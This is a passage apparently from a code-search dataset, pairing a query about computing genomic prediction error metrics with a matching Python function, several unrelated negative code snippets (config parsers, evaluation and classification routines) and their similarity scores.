time')) \\n dvd_interval_time = int(config.get('DVD/DVDcopy','interval time'))\\n file_analysis_time = int(config.get('FILE','analysis time')) \\n file_interval_time = int(config.get('FILE','interval time'))\\n bd_path = config.get('BD/3Dcopy','bd_path')\\n dvd_path = config.get('DVD/DVDcopy', 'dvd_path')\\n file_path = config.get('FILE','file_path')\\n bd_path_mac = config.get('BD/3Dcopy','bd_path_mac')\\n dvd_path_mac = config.get('DVD/DVDcopy', 'dvd_path_mac')\\n file_path_mac = config.get('FILE','file_path_mac')\\n except Exception, e:\\n initlog('read ini file error; %s' % str(e))\\n else:\\n initlog('dvdfab_auto_tool.ini file does not exist')\\n params_dict[\\\"project\\\"] = project\\n params_dict[\\\"bd_analysis_time\\\"] = bd_analysis_time\\n params_dict[\\\"bd_interval_time\\\"] = bd_interval_time\\n params_dict[\\\"bd_ripper_analysis_time\\\"] = bd_ripper_analysis_time\\n params_dict[\\\"bd_ripper_interval_time\\\"] = bd_ripper_interval_time\\n params_dict[\\\"dvd_analysis_time\\\"] = dvd_analysis_time\\n params_dict[\\\"dvd_interval_time\\\"] = dvd_interval_time\\n params_dict[\\\"file_analysis_time\\\"] = file_analysis_time\\n params_dict[\\\"file_interval_time\\\"] = file_interval_time\\n params_dict[\\\"bd_path\\\"] = bd_path\\n params_dict[\\\"dvd_path\\\"] = dvd_path\\n params_dict[\\\"file_path\\\"] = file_path\\n params_dict[\\\"bd_path_mac\\\"] = bd_path_mac\\n params_dict[\\\"dvd_path_mac\\\"] = dvd_path_mac\\n params_dict[\\\"file_path_mac\\\"] = file_path_mac\\n return params_dict\\n return project, bd_analysis_time, bd_interval_time, bd_ripper_analysis_time, bd_ripper_interval_time, dvd_analysis_time, dvd_interval_time, file_analysis_time, file_interval_time, bd_path, dvd_path, file_path,bd_path_mac,dvd_path_mac,file_path_mac\",\n \"def parse_config(self, file):\\n try:\\n self.logger.debug(\\\"parsing config file: {}\\\".format(file))\\n config = configparser.ConfigParser()\\n config.read(file)\\n self._blizzard_clientid = config['blizzard']['blizzard_clientid']\\n self._blizzard_clientsecret = config['blizzard']['blizzard_clientsecret']\\n self._token_filename = config['blizzard']['token_filename']\\n except Exception as e:\\n self.logger.error('Exception reading config from: {}'.Format(file))\\n self.logger.error(str(e))\\n raise\",\n \"def process_qrange_file(filename):\\n\\n f = open(filename, 'r')\\n q_ranges = yaml.load(f)\\n\\n return q_ranges\",\n \"def get_options(self):\\n options = dict()\\n while True:\\n line = self.rfile.readline().decode(\\\"utf8\\\").strip()\\n if not line:\\n break\\n self.log.debug(\\\"Got line: %s\\\", line)\\n if \\\":\\\" not in line:\\n self.log.debug(\\\"Invalid option: %s\\\", line)\\n error_msg = \\\"header not in 'Name: value' format\\\"\\n raise oa.errors.InvalidOption(error_msg)\\n name, value = line.split(\\\":\\\", 1)\\n options[name.lower()] = value.strip()\\n return options\",\n \"def __parse(self, to_parse):\\n path = Path(to_parse)\\n if not path.exists():\\n raise FileNotFoundError(f\\\"Configuration file {path.absolute()} not found.\\\")\\n else:\\n with path.open() as file:\\n data = json.load(file)\\n\\n if \\\"name\\\" not in data:\\n raise AssertionError(f\\\"Missing fundamental parameter: name\\\")\\n Validator(\\n [\\n (data[\\\"name\\\"], str),\\n (data[\\\"include\\\"] if \\\"include\\\" in data else {}, dict),\\n (data[\\\"modules\\\"] if \\\"modules\\\" in data else [], list),\\n ]\\n )\\n # Input parsing\\n if \\\"include\\\" in data:\\n name = data[\\\"name\\\"]\\n data = self.validate_include(data[\\\"include\\\"])\\n data[\\\"name\\\"] = name\\n elif \\\"modules\\\" not in data:\\n raise AssertionError(\\\"No modules neither includes are defined.\\\")\\n\\n if \\\"args\\\" in data:\\n Validator().dict(data[\\\"args\\\"])\\n self.__get_modules(data)\",\n \"def readConfig():\\n hosts = []\\n domains = []\\n with open(\\\"./host.conf\\\", \\\"r\\\") as fd:\\n for line in fd.readlines():\\n line = line.strip().split()\\n if line != []:\\n # Parse config for zone files and hosts\\n if line[0] == \\\"ZONE_FILE:\\\":\\n zoneFile = line[1]\\n if line[0] == \\\"REVERSE_ZONE_FILE:\\\":\\n reverseZoneFile = line[1]\\n if line[0] == \\\"HOST:\\\":\\n hosts.append((line[1], line[2], line[3]))\\n if line[0] == \\\"DOMAIN:\\\":\\n domains.append((line[1], line[2], line[3]))\\n\\n return zoneFile, reverseZoneFile, hosts, domains\",\n \"def __get_configurations(self):\\n for sect in self.file_parser.sections():\\n cascade_list = []\\n if self.file_parser.has_option(sect, 'cascade'):\\n enabled = self.file_parser.get(sect, 'enabled')\\n # pylint: disable = E1103\\n optimp_list = self.file_parser.get(sect, 'cascade').split(',')\\n # pylint: enable = E1103\\n for cascade_str in optimp_list:\\n cascade_list.append(tuple(cascade_str.split(':')))\\n # pylint: disable = E1103\\n lower_enabled = enabled.lower()\\n # pylint: enable = E1103\\n if lower_enabled in ['true', 'always']:\\n stateval = True\\n else:\\n stateval = False\\n\\n self.config_dict[sect]['enabled'] = stateval\\n self.config_dict[sect]['cascade_list'] = cascade_list\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.68742883","0.64713717","0.6406853","0.62929416","0.6131319","0.6128549","0.6108708","0.60788536","0.60567814","0.6043409","0.6009234","0.5997987","0.5957832","0.5894876","0.58923626","0.5883574","0.5866653","0.5864182","0.58620304","0.58604765","0.58544695","0.5822762","0.57925254","0.5787674","0.5767578","0.5758343","0.5751926","0.5749882","0.5746622","0.5742537","0.5742045","0.57380605","0.5724446","0.5722291","0.5708953","0.56820256","0.5670198","0.56434435","0.5631652","0.5611594","0.56106865","0.560951","0.5609113","0.55982393","0.55915767","0.5582377","0.55681956","0.55531883","0.55460316","0.55424887","0.552417","0.5521006","0.5514136","0.5508361","0.54974216","0.5497271","0.5494799","0.54927814","0.54842615","0.54834163","0.5479151","0.5478543","0.54777455","0.5476767","0.547463","0.54627895","0.5461933","0.5445254","0.5444743","0.5442451","0.5437411","0.5436295","0.5422984","0.54222214","0.5421204","0.5418729","0.54073143","0.5405568","0.54015505","0.5396574","0.5395903","0.5395719","0.53923076","0.53695613","0.53695416","0.5362413","0.53619987","0.5358376","0.5356156","0.5351812","0.5347809","0.5341029","0.5339108","0.533843","0.5332631","0.5329147","0.5310006","0.5300044","0.52945256","0.52935123"],"string":"[\n \"0.68742883\",\n \"0.64713717\",\n \"0.6406853\",\n \"0.62929416\",\n \"0.6131319\",\n \"0.6128549\",\n \"0.6108708\",\n \"0.60788536\",\n \"0.60567814\",\n \"0.6043409\",\n \"0.6009234\",\n \"0.5997987\",\n \"0.5957832\",\n \"0.5894876\",\n \"0.58923626\",\n \"0.5883574\",\n \"0.5866653\",\n \"0.5864182\",\n \"0.58620304\",\n \"0.58604765\",\n \"0.58544695\",\n \"0.5822762\",\n \"0.57925254\",\n \"0.5787674\",\n \"0.5767578\",\n \"0.5758343\",\n \"0.5751926\",\n \"0.5749882\",\n \"0.5746622\",\n \"0.5742537\",\n \"0.5742045\",\n \"0.57380605\",\n \"0.5724446\",\n \"0.5722291\",\n \"0.5708953\",\n \"0.56820256\",\n \"0.5670198\",\n \"0.56434435\",\n \"0.5631652\",\n \"0.5611594\",\n \"0.56106865\",\n \"0.560951\",\n \"0.5609113\",\n \"0.55982393\",\n \"0.55915767\",\n \"0.5582377\",\n \"0.55681956\",\n \"0.55531883\",\n \"0.55460316\",\n \"0.55424887\",\n \"0.552417\",\n \"0.5521006\",\n \"0.5514136\",\n \"0.5508361\",\n \"0.54974216\",\n \"0.5497271\",\n \"0.5494799\",\n \"0.54927814\",\n \"0.54842615\",\n \"0.54834163\",\n \"0.5479151\",\n \"0.5478543\",\n \"0.54777455\",\n \"0.5476767\",\n \"0.547463\",\n \"0.54627895\",\n \"0.5461933\",\n \"0.5445254\",\n \"0.5444743\",\n \"0.5442451\",\n \"0.5437411\",\n \"0.5436295\",\n \"0.5422984\",\n \"0.54222214\",\n \"0.5421204\",\n \"0.5418729\",\n \"0.54073143\",\n \"0.5405568\",\n \"0.54015505\",\n \"0.5396574\",\n \"0.5395903\",\n \"0.5395719\",\n \"0.53923076\",\n \"0.53695613\",\n \"0.53695416\",\n \"0.5362413\",\n \"0.53619987\",\n \"0.5358376\",\n \"0.5356156\",\n \"0.5351812\",\n \"0.5347809\",\n \"0.5341029\",\n \"0.5339108\",\n \"0.533843\",\n \"0.5332631\",\n \"0.5329147\",\n \"0.5310006\",\n \"0.5300044\",\n \"0.52945256\",\n \"0.52935123\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.5695767"},"document_rank":{"kind":"string","value":"35"}}},{"rowIdx":15394,"cells":{"query":{"kind":"string","value":"given a file of predictions and a file of targets compute evaluation metrics and return dict containing results (including a sum of squared errors so that errors can be added across multiple chromosomes) metrics can be computed on gene/enhancer/promoter subsets by passing lists of bin ids matching these subsets (optionally after filtering by eg. presence on blacklist via interval_filter)"},"document":{"kind":"string","value":"def evaluate_predictions(unfiltered_preds, unfiltered_targets, gene_bins=None,\n enhancer_bins=None, promoter_bins=None, retain_bins=None):\n unfiltered_errors = np.square(unfiltered_preds-unfiltered_targets)\n if retain_bins is None:\n retain_bins = np.arange(unfiltered_errors.shape[0])\n # print('unfiltered errors shape, unfiltered errors size', unfiltered_errors.shape, unfiltered_errors.size)\n\n gene_weights = np.zeros(unfiltered_preds.shape) # just (binned_chrom_length,)\n enh_weights = np.zeros(unfiltered_preds.shape)\n prom_weights = np.zeros(unfiltered_preds.shape)\n\n sse_dict = {}\n count_dict = {} # store number of bins we're summing over for each metric\n\n corr = gwcorr(unfiltered_targets, unfiltered_preds)\n spear = gwspear(unfiltered_targets, unfiltered_preds)\n\n sse_dict['cwcorr'] = corr\n sse_dict['cwspear'] = spear\n count_dict['cwcorr'] = 1\n count_dict['cwspear'] = 1\n\n if gene_bins is not None:\n gene_weights[gene_bins] = 1.0\n gene_errors = gene_weights*unfiltered_errors\n gene_errors = gene_errors[retain_bins].sum()\n sse_dict['gene'] = gene_errors\n count_dict['gene'] = np.sum(gene_weights[retain_bins])\n\n if promoter_bins is not None:\n prom_weights[promoter_bins] = 1.0\n prom_errors = prom_weights*unfiltered_errors\n prom_errors = prom_errors[retain_bins].sum()\n sse_dict['prom'] = prom_errors\n count_dict['prom'] = np.sum(prom_weights[retain_bins])\n\n if enhancer_bins is not None:\n enh_weights[enhancer_bins] = 1.0\n enh_errors = enh_weights*unfiltered_errors\n enh_errors = enh_errors[retain_bins].sum()\n sse_dict['enh'] = enh_errors\n count_dict['enh'] = np.sum(enh_weights[retain_bins])\n\n errors = unfiltered_errors[retain_bins]\n\n targets = unfiltered_targets[retain_bins]\n assert targets.shape == errors.shape\n del unfiltered_targets\n # TODO - use np.percentile\n n_1pc = int(targets.shape[0] * 0.01)\n y_true_sorted = np.sort(targets)\n y_true_top1 = y_true_sorted[-n_1pc]\n # y_true_top1 = np.percentile(targets, 99)\n # print(y_true_top1, np.percentile(targets, 99))\n idx_obs = targets >= y_true_top1\n del targets\n top1_obs = errors[idx_obs]\n count_dict['top1_obs'] = top1_obs.size #.shape[0] would be exactly the same\n sse_dict['top1_obs'] = top1_obs.sum()\n\n preds = unfiltered_preds[retain_bins]\n assert preds.shape == errors.shape\n del unfiltered_preds\n n_1pc = int(preds.shape[0] * 0.01)\n y_pred_sorted = np.sort(preds)\n y_pred_top1 = y_pred_sorted[-n_1pc]\n idx_pred = preds >= y_pred_top1\n del preds\n top1_preds = errors[idx_pred]\n count_dict['top1_preds'] = top1_preds.size\n sse_dict['top1_preds'] = top1_preds.sum()\n\n count_dict['global'] = errors.size\n sse_dict['global'] = errors.sum()\n\n return sse_dict, count_dict"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def eval(\n task1_prediction_filename: str,\n task2_prediction_filename: str,\n target_filename: str,\n output_dir: str,\n case_ids_source: Optional[Union[str, List[str]]] = \"target\",\n) -> Tuple[OrderedDict, str]:\n create_dir(output_dir)\n\n # eval task1, task2 or both\n task1 = task1_prediction_filename is not None and task1_prediction_filename != \"\"\n task2 = task2_prediction_filename is not None and task2_prediction_filename != \"\"\n\n if case_ids_source is None:\n if task1:\n case_ids_source = \"task1_pred\"\n else:\n case_ids_source = \"task2_pred\"\n\n dataframes_dict = {}\n metrics = {}\n post_proc = partial(post_processing, task1=task1, task2=task2)\n # task 1\n if task1:\n # metrics to evaluate\n metrics.update(\n {\n \"task1_auc\": CI(\n MetricAUCROC(\n pred=\"task1_pred.array\",\n target=\"target.Task1-target\",\n class_names=TASK1_CLASS_NAMES,\n pre_collect_process_func=post_proc,\n ),\n stratum=\"target.Task1-target\",\n ),\n \"task1_roc_curve\": MetricROCCurve(\n pred=\"task1_pred.array\",\n target=\"target.Task1-target\",\n class_names=[None, \"\"],\n pre_collect_process_func=post_proc,\n output_filename=os.path.join(output_dir, \"task1_roc.png\"),\n ),\n }\n )\n # read files\n task1_pred_df = pd.read_csv(\n task1_prediction_filename, dtype={PRED_CASE_ID_NAME: object}\n )\n # verify input\n assert set(task1_pred_df.keys()).issubset(\n EXPECTED_TASK1_PRED_KEYS\n ), f\"Expecting task1 prediction file {os.path.abspath(task1_prediction_filename)} to include also the following keys: {EXPECTED_TASK1_PRED_KEYS - set(task1_pred_df.keys())}\"\n task1_pred_df[\"id\"] = task1_pred_df[PRED_CASE_ID_NAME]\n dataframes_dict[\"task1_pred\"] = task1_pred_df\n\n # task 2\n if task2:\n # metrics to evaluate\n metrics.update(\n {\n \"task2_auc\": CI(\n MetricAUCROC(\n pred=\"task2_pred.array\",\n target=\"target.Task2-target\",\n class_names=TASK2_CLASS_NAMES,\n pre_collect_process_func=post_proc,\n ),\n stratum=\"target.Task2-target\",\n ),\n \"task2_roc_curve\": MetricROCCurve(\n pred=\"task2_pred.array\",\n target=\"target.Task2-target\",\n class_names=TASK2_CLASS_NAMES,\n output_filename=os.path.join(output_dir, \"task2_roc.png\"),\n pre_collect_process_func=post_proc,\n ),\n }\n )\n # read files\n task2_pred_df = pd.read_csv(\n task2_prediction_filename, dtype={PRED_CASE_ID_NAME: object}\n )\n # verify input\n assert set(task2_pred_df.keys()).issubset(\n EXPECTED_TASK2_PRED_KEYS\n ), f\"Expecting task2 prediction file {os.path.abspath(task2_prediction_filename)} to include also the following keys: {EXPECTED_TASK2_PRED_KEYS - set(task2_pred_df.keys())}\"\n task2_pred_df[\"id\"] = task2_pred_df[PRED_CASE_ID_NAME]\n dataframes_dict[\"task2_pred\"] = task2_pred_df\n\n # read files\n target_df = pd.read_csv(target_filename, dtype={TARGET_CASE_ID_NAME: object})\n # verify input\n assert set(target_df.keys()).issubset(\n EXPECTED_TARGET_KEYS\n ), f\"Expecting target file {os.path.abspath(target_filename)} to include also the following keys: {EXPECTED_TARGET_KEYS - set(target_df.keys())}\"\n target_df[\"id\"] = target_df[TARGET_CASE_ID_NAME]\n dataframes_dict[\"target\"] = target_df\n\n # analyze\n evaluator = EvaluatorDefault()\n results = evaluator.eval(\n ids=list(dataframes_dict[case_ids_source][\"id\"]),\n data=dataframes_dict,\n metrics=metrics,\n output_dir=None,\n )\n\n # output\n return decode_results(results, output_dir=output_dir, task1=task1, task2=task2)","def compute_metrics_from_files(p_path_to_reference_file,\r\n p_path_to_candidate_file,\r\n p_max_bleu_order):\r\n\r\n reference_dictionary, reference_no_answer_query_ids = \\\r\n load_file(p_path_to_reference_file)\r\n candidate_dictionary, candidate_no_answer_query_ids = load_file(p_path_to_candidate_file)\r\n query_id_answerable = set(reference_dictionary.keys())-reference_no_answer_query_ids\r\n query_id_answerable_candidate = set(candidate_dictionary.keys())-candidate_no_answer_query_ids\r\n \r\n true_positives = len(query_id_answerable_candidate.intersection(query_id_answerable))\r\n false_negatives = len(query_id_answerable)-true_positives\r\n true_negatives = len(candidate_no_answer_query_ids.intersection(reference_no_answer_query_ids))\r\n false_positives = len(reference_no_answer_query_ids)-true_negatives\r\n precision = float(true_positives)/(true_positives+false_positives) if (true_positives+false_positives)>0 else 1.\r\n recall = float(true_positives)/(true_positives+false_negatives) if (true_positives+false_negatives)>0 else 1.\r\n F1 = 2 *((precision*recall)/(precision+recall))\r\n filtered_reference_dictionary = \\\r\n {key: value for key, value in reference_dictionary.items() \\\r\n if key not in reference_no_answer_query_ids}\r\n\r\n filtered_candidate_dictionary = \\\r\n {key: value for key, value in candidate_dictionary.items() \\\r\n if key not in reference_no_answer_query_ids}\r\n\r\n for query_id, answers in filtered_candidate_dictionary.items():\r\n assert \\\r\n len(answers) <= 1, \\\r\n 'query_id %d contains more than 1 answer \\\"%s\\\" in candidate file' % \\\r\n (query_id, str(answers))\r\n\r\n reference_query_ids = set(filtered_reference_dictionary.keys())\r\n candidate_query_ids = set(filtered_candidate_dictionary.keys())\r\n common_query_ids = reference_query_ids.intersection(candidate_query_ids)\r\n assert (len(common_query_ids) == len(reference_query_ids)) and \\\r\n (len(common_query_ids) == len(candidate_query_ids)), \\\r\n 'Reference and candidate files must share same query ids'\r\n\r\n all_scores = {}\r\n bleu_scores, _ = \\\r\n Bleu(p_max_bleu_order).compute_score(filtered_reference_dictionary, \\\r\n filtered_candidate_dictionary)\r\n for i, bleu_score in enumerate(bleu_scores):\r\n all_scores['bleu_%d' % (i+1)] = bleu_score\r\n\r\n rouge_score, _ = Rouge().compute_score(filtered_reference_dictionary, \\\r\n filtered_candidate_dictionary)\r\n all_scores['rouge_l'] = rouge_score\r\n all_scores['F1'] = F1\r\n similarity = 0\r\n for key in filtered_reference_dictionary:\r\n candidate_answer = nlp(filtered_candidate_dictionary[key][0])\r\n reference_answer = filtered_reference_dictionary[key]\r\n answersimilarity = 0\r\n for answer in reference_answer:\r\n answersimilarity += candidate_answer.similarity(nlp(answer))\r\n similarity += answersimilarity/len(reference_answer)\r\n semantic_similarity = similarity/len(filtered_reference_dictionary)\r\n all_scores['Semantic_Similarity'] = semantic_similarity\r\n return all_scores","def _run_evaluation(\n sess, experiment, eval_config, output_dir, min_range, max_range, num_bins,\n torsion_bins):\n tf.io.gfile.makedirs(os.path.join(output_dir, 'pickle_files'))\n\n logging.info('Eval config is %s\\nnum_bins: %d', eval_config, num_bins)\n num_examples = 0\n num_crops = 0\n start_all_time = time.time()\n\n # Either do the whole test set, or up to a specified limit.\n max_examples = experiment.num_eval_examples\n if eval_config.max_num_examples > 0:\n max_examples = min(max_examples, eval_config.max_num_examples)\n\n while num_examples < max_examples:\n one_prediction = compute_one_prediction(\n num_examples, experiment, sess, eval_config, num_bins, torsion_bins)\n\n single_message = one_prediction.single_message\n num_crops_local = one_prediction.num_crops_local\n sequence = one_prediction.sequence\n filebase = one_prediction.filebase\n softmax_probs = one_prediction.softmax_probs\n ss = one_prediction.ss\n asa = one_prediction.asa\n torsions = one_prediction.torsions\n\n num_examples += 1\n num_crops += num_crops_local\n\n # Save the output files.\n filename = os.path.join(output_dir,\n 'pickle_files', '%s.pickle' % filebase)\n distogram_io.save_distance_histogram(\n filename, softmax_probs, filebase, sequence,\n min_range=min_range, max_range=max_range, num_bins=num_bins)\n\n if experiment.model.torsion_multiplier > 0:\n torsions_dir = os.path.join(output_dir, 'torsions')\n tf.io.gfile.makedirs(torsions_dir)\n distogram_io.save_torsions(torsions_dir, filebase, sequence, torsions)\n\n if experiment.model.secstruct_multiplier > 0:\n ss_dir = os.path.join(output_dir, 'secstruct')\n tf.io.gfile.makedirs(ss_dir)\n secstruct.save_secstructs(ss_dir, filebase, None, sequence, ss)\n\n if experiment.model.asa_multiplier > 0:\n asa_dir = os.path.join(output_dir, 'asa')\n tf.io.gfile.makedirs(asa_dir)\n secstruct.save_secstructs(asa_dir, filebase, None, sequence,\n np.expand_dims(asa, 1), label='Deepmind 2D ASA')\n\n time_spent = time.time() - start_all_time\n logging.info(\n 'Evaluate %d examples, %d crops %.1f crops/ex. '\n 'Took %.1fs, %.3f s/example %.3f crops/s\\n%s',\n num_examples, num_crops, num_crops / float(num_examples), time_spent,\n time_spent / num_examples, num_crops / time_spent, single_message)\n\n logging.info('Tested on %d', num_examples)","def main(targets):\n # Parse through the datasets and select only relevant columns\n cpu_df = data_exploration.parse_cpu_data(\"data/raw/hw_metric_histo.csv000\")\n sys_df = data_exploration.parse_sys_data(\"data/raw/system_sysinfo_unique_normalized.csv000\")\n\n # Create a new reference to the optimized DataFrame\n optimized_df = data_exploration.optimize_dataframe(cpu_df)\n\n # grab the specific column \"HW::CORE:C0:PERCENT\" as a feature\n cpu = data_exploration.get_stats(optimized_df, \"name\", \"HW::CORE:C0:PERCENT:\")\n\n # grab the specific column \"HW::CORE:TEMPERATURE:CENTIGRADE\" as a feature\n temp = data_exploration.get_stats(optimized_df, \"name\", \"HW::CORE:TEMPERATURE:CENTIGRADE:\")\n\n # grab the GUIDs from each dataset and put them into lists\n sys_guid = data_exploration.get_guid(sys_df, 'guid')\n hw_guid = data_exploration.get_guid(cpu_df, 'guid')\n\n # checking for the GUID overlap in both datasets\n syshw_overlap = [guid for guid in sys_guid if guid in hw_guid]\n\n # objective is to create a dataframe of only matching GUIDs\n hwcpu_match = data_exploration.get_cpu_guid(cpu, syshw_overlap)\n\n # only grabbing the relevant columns to be matched on\n hwtemp_match = data_exploration.get_temp_guid(temp, syshw_overlap)\n\n # instantiating our dataframes to be joined\n hwtemp = pd.DataFrame(hwtemp_match.groupby('guid')['temp_mean'].mean())\n hwcpu = pd.DataFrame(hwcpu_match.groupby('guid')['utilization_mean'].mean())\n\n # joining our matched dataframes together, only using relevant columns\n combined = sys_df.join(hwcpu, on=['guid'], how='left')\n combined = combined.join(hwtemp, on=['guid'], how='left')\n combined = combined.drop(columns=['guid', 'model_normalized', \"processornumber\"])\n\n # create copy of our joined dataframe to be used for modelling\n feature_columns = combined.copy()\n\n # selecting only relevant columns to use for features\n feature_columns = feature_columns[['os','cpu_family', 'cpuvendor',\n 'graphicscardclass', 'persona']]\n\n # creating a completely one-hot encoded dataframe only containing relevant columns\n dummy = pd.get_dummies(feature_columns)\n\n # converting our categorical variables to be predicted on into numerical values\n cleanup_nums = {'persona': {'Web User': 0, 'Casual User': 1, 'Gamer':2, 'Casual Gamer': 3,\n 'Office/Productivity':4, 'Content Creator/IT': 5,\n 'Communication': 6, 'Win Store App User': 7, 'Entertainment': 8,\n 'File & Network Sharer':9, 'Unknown': 10}}\n\n # replacing the values in the column 'persona' to be numerical\n encode_persona = combined['persona'].to_frame().replace(cleanup_nums)\n\n # putting our old means back into the dummy dataframe\n dummy['util_mean'] = combined['utilization_mean']\n dummy['temp_mean'] = combined['temp_mean']\n # dummy = dummy.drop(columns=['persona'])\n dummy['persona'] = encode_persona['persona']\n\n dummy = dummy.dropna()\n nona_test = dummy.copy()\n\n # we want to predict on Y\n Y = nona_test['persona']\n X = nona_test.drop(columns=['persona'])\n\n # creating our test/train split\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)\n\n # all the models we are going to use\n names = [\"Nearest_Neighbors\", \"Linear_SVM\", \"Polynomial_SVM\", \"RBF_SVM\", \"Gradient_Boosting\"]\n\n # all of our predictors scaled to the degree of our datasets\n classifiers = [KNeighborsClassifier(3),\n SVC(kernel=\"linear\", C=0.025),\n SVC(kernel=\"poly\", degree=3, C=0.025),\n SVC(kernel=\"rbf\", C=1, gamma=2),\n GradientBoostingClassifier(n_estimators=100, learning_rate=1.0)]\n\n scores = []\n # we write in our accuracy scores to [scores]\n for name, clf in zip(names, classifiers):\n clf.fit(X_train, Y_train)\n score = clf.score(X_test, Y_test)\n scores.append(score)\n\n show = data_exploration.get_model_scores(names, scores)\n model_scores = data_exploration.plot_graphical_model_scores(show)","def main(argv):\n from argparse import ArgumentParser\n argparser = ArgumentParser(description=\"\")\n argparser.add_argument(\"--germeval\",\n help=\"use GermEval format\", action=\"store_true\")\n argparser.add_argument(\"-g\", \"--glob-ptrn\",\n help=\"globbing pattern to use for finding files in\"\n \" directories\", type=str, default=\"*.tsv\")\n argparser.add_argument(\"-v\", \"--verbose\",\n help=\"output prediction errors\",\n action=\"store_true\")\n argparser.add_argument(\"gold_file\",\n help=\"file or directory containing gold data\")\n argparser.add_argument(\"pred_file\",\n help=\"file or directory containing predicted\"\n \" labels\")\n args = argparser.parse_args(argv)\n\n gold_data = read_data(args.gold_file, args.glob_ptrn, args.germeval)\n pred_data = read_data(args.pred_file, args.glob_ptrn, args.germeval)\n\n # check whether we have the same set of ids in both datasets\n gold_ids = gold_data.loc[:, ID]\n gold_ids_set = set(gold_ids)\n pred_ids = pred_data.loc[:, ID]\n pred_ids_set = set(pred_ids)\n xor_ids = (gold_ids_set - pred_ids_set) | (pred_ids_set - gold_ids_set)\n assert len(gold_ids) == len(pred_ids) \\\n and all(gold_ids.values == pred_ids.values), \\\n \"Unmatched ids: {!r} vs. {!r} (ids present in just one\" \\\n \" of the sets: {!r})\".format(gold_ids, pred_ids, xor_ids)\n\n # compute and output classification statistics\n compute_stat(gold_data, pred_data, args.verbose)","def evaluate_and_dump_predictions(pred, qids, qfile, afile, ix_ans_dict, filename):\n assert len(pred) == len(qids), \"Number of predictions need to match number of question IDs\"\n answers = []\n for i, val in enumerate(pred):\n qa_pair = {}\n qa_pair['question_id'] = int(qids[i])\n qa_pair['answer'] = ix_ans_dict[str(val + 1)] # note indexing diff between python and torch\n answers.append(qa_pair)\n vqa = VQA(afile, qfile)\n fod = open(filename, 'wb')\n json.dump(answers, fod)\n fod.close()\n # VQA evaluation\n vqaRes = vqa.loadRes(filename, qfile)\n vqaEval = VQAEval(vqa, vqaRes, n=2)\n vqaEval.evaluate()\n acc = vqaEval.accuracy['overall']\n print(\"Overall Accuracy is: %.02f\\n\" % acc)\n return acc","def evaluate_bm(all_metrics):\n f_gt, n_gt, n_st = 0, 0, 0\n nbox_gt, nbox_st = 0, 0\n c, g, fp, missed, ids = 0, 0, 0, 0, 0\n IDTP, IDFP, IDFN = 0, 0, 0\n MT, ML, PT, FRA = 0, 0, 0, 0\n overlap_sum = 0\n for i in range(len(all_metrics)):\n nbox_gt += all_metrics[i].idmetrics.nbox_gt\n nbox_st += all_metrics[i].idmetrics.nbox_st\n\n # Total ID Measures\n IDTP += all_metrics[i].idmetrics.IDTP\n IDFP += all_metrics[i].idmetrics.IDFP\n IDFN += all_metrics[i].idmetrics.IDFN\n\n # Total ID Measures\n MT += all_metrics[i].MT\n ML += all_metrics[i].ML\n PT += all_metrics[i].PT\n FRA += all_metrics[i].FRA\n f_gt += all_metrics[i].f_gt\n n_gt += all_metrics[i].n_gt\n n_st += all_metrics[i].n_st\n c += all_metrics[i].c\n g += all_metrics[i].g\n fp += all_metrics[i].fp\n missed += all_metrics[i].missed\n ids += all_metrics[i].mme\n overlap_sum += sum(sum(all_metrics[i].d))\n\n # IDP = IDTP / (IDTP + IDFP)\n IDP = IDTP / (IDTP + IDFP) * 100\n\n # IDR = IDTP / (IDTP + IDFN)\n IDR = IDTP / (IDTP + IDFN) * 100\n\n # IDF1 = 2 * IDTP / (2 * IDTP + IDFP + IDFN)\n IDF1 = 2 * IDTP / (nbox_gt + nbox_st) * 100\n FAR = fp / f_gt\n MOTP = (overlap_sum / c) * 100\n\n # MOTAL = 1 - (# fp + # fn + #log10(ids)) / # gts\n MOTAL = (1 - (fp + missed + np.log10(ids + 1)) / g) * 100\n\n # MOTA = 1 - (# fp + # fn + # ids) / # gts\n MOTA = (1 - (fp + missed + ids) / g) * 100\n\n # recall = TP / (TP + FN) = # corrected boxes / # gt boxes\n recall = c / g * 100\n\n # precision = TP / (TP + FP) = # corrected boxes / # det boxes\n precision = c / (fp + c) * 100\n metrics = [IDF1, IDP, IDR, recall, precision, FAR, n_gt,\n MT, PT, ML, fp, missed, ids, FRA, MOTA, MOTP, MOTAL]\n return metrics","def analyse_results(self, \n target_dir, \n param_file = \"TRAINED_PARAMS_END.model\",\n w_norm_file = \"W_NORMS.dat\",\n num_to_test = 100,\n get_means_from = {\n 'NOISY' :'RECONST_NOISY_ERRORS.dat',\n 'MISSING':'RECONST_MISSING_ERRORS.dat'\n },\n given_inputs = []):\n \n path_to_json = os.path.join(target_dir, \"PARAMETERS.json\")\n \n with open(path_to_json, 'r') as json_file:\n \n param_dict = json.load(json_file)\n \n self.num_hidden = param_dict['GLOBAL']['num_hidden']\n \n num_runs = param_dict['GLOBAL']['num_runs']\n \n path_to_mix_params = os.path.join(target_dir, \"MIX_PARAMS.dat\")\n \n reg_dict = {}\n \n for f_name in param_dict.keys():\n \n if f_name != \"GLOBAL\":\n reg_dict[param_dict[f_name]['algorithm']] =\\\n param_dict[f_name]['regressor']\n \n self.mixture = False\n \n E_gaps = {}\n \n recon_errors = {}\n \n p_tilda_data = {}\n \n end_w_norms = {}\n \n for field in get_means_from.keys():\n \n recon_errors[field] = {}\n \n if os.path.exists(path_to_mix_params):\n \n self.mixture = True\n \n self.mix_params = np.loadtxt(path_to_mix_params)\n \n for run_ind in range(num_runs):\n \n sub_f1 = \"run%s\"%run_ind\n \n sub_dir = os.path.join(target_dir, sub_f1)\n \n if os.path.isdir(sub_dir): \n print(\"Processing %s\"%sub_dir)\n tr_file = \"TRAIN_IMAGES.dat\"\n check_input_file = os.path.join(sub_dir, tr_file)\n \n if os.path.exists(check_input_file):\n inputs = np.loadtxt(check_input_file)\n # to make fair comparison, number of is samples\n # is set to the number of test inputs\n self.num_samples = inputs.shape[0]\n else:\n \n if isinstance(given_inputs, np.ndarray):\n N = given_inputs.shape[0]\n inds = self.np_rand_gen.choice(N, \n num_to_test,\n replace = False)\n \n inputs = given_inputs[inds,:]\n \n self.num_samples = num_to_test\n \n else:\n print(\"Error: %s does not contain file 